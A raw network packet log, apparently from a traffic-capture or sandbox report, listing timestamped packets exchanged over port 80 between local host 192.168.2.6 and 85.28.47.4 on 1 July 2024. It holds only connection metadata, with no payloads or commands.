Jul 1, 2024 07:20:45.493700027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493717909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493730068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493736982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493741035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493752003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493753910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493766069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493772030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493781090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493793964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493794918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493809938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.493822098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493829966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.493860960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494019032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494030952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494043112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494055033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494066954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494067907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494081020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494082928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494103909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494127035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494174957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494188070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494220018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494263887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494277000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494287968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494299889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494311094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494326115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494354963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494411945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494425058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494456053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494467020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494534016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494546890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494559050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494574070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494580984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494580984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494605064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494606018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494618893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494620085 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494632959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494642019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494646072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494657040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494661093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494676113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494678974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494693041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494703054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494728088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494898081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494909048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494941950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494965076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.494971991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494985104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.494997978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495009899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495013952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495023012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495028973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495048046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495070934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495243073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495255947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495268106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495280027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495287895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495292902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495302916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495306969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495321035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495330095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495333910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495347023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495352030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495372057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495395899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495471954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495482922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495518923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495563984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495584011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495621920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495625973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495640993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495655060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495666027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495666981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495681047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495691061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495714903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495750904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495812893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495845079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495857954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495871067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495882988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495893955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495896101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495907068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495907068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495922089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.495930910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.495959044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496119022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496131897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496144056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496155977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496164083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496167898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496181965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496185064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496206999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496216059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496231079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496282101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496315002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496329069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496340036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496351957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496359110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496381044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496393919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496546030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496557951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496571064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496583939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496594906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496596098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496612072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496619940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496624947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496634007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496637106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496650934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496665001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496689081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496860981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496871948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496884108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496896029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496906042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496908903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496918917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496922970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496937990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496947050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496953011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.496970892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.496994019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.585952044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.585964918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.585977077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586002111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586014032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586041927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586062908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586071968 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586076975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586108923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586138010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586190939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586214066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586226940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586235046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586258888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586273909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586281061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586286068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586292982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586299896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586307049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586312056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586332083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586345911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586374044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586419106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586437941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586469889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586488962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586503983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586517096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586541891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586553097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586613894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586626053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586638927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586651087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586652040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586664915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586674929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586677074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586689949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586700916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586711884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586736917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586829901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586842060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586870909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586884022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586942911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586955070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586966991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586977005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586982965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.586990118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.586997032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587004900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587017059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587021112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587038040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587069988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587186098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587198019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587208986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587222099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587229013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587234974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587246895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587249041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587264061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587280035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587306976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587373018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587388039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587399960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587418079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587430954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587452888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587466002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587477922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587491035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587491035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587508917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587512970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587539911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587565899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587788105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587800980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587812901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587824106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587835073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587836981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587857008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587862968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587874889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587884903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587887049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587901115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587903023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587912083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587924004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587924957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587938070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587949991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587959051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587961912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587976933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.587982893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.587987900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.588006020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.588022947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.588263988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.588308096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.687544107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.692477942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868185043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868243933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868254900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868278027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868288040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868289948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868314028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868349075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868355036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868362904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868385077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868422985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868434906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868447065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868449926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868455887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868464947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868495941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868587971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868599892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868623972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868647099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868659019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868673086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868684053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868697882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868848085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868858099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868869066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868880033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868891001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868891954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868901014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868905067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868935108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868947983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.868978977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.868990898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869000912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869013071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869019032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869031906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869031906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869044065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869051933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869056940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869069099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869079113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869087934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869095087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869122028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869132042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.869297028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869307995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869318008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.869335890 CEST	80	49711	85.28.47.4	192.168.2.6
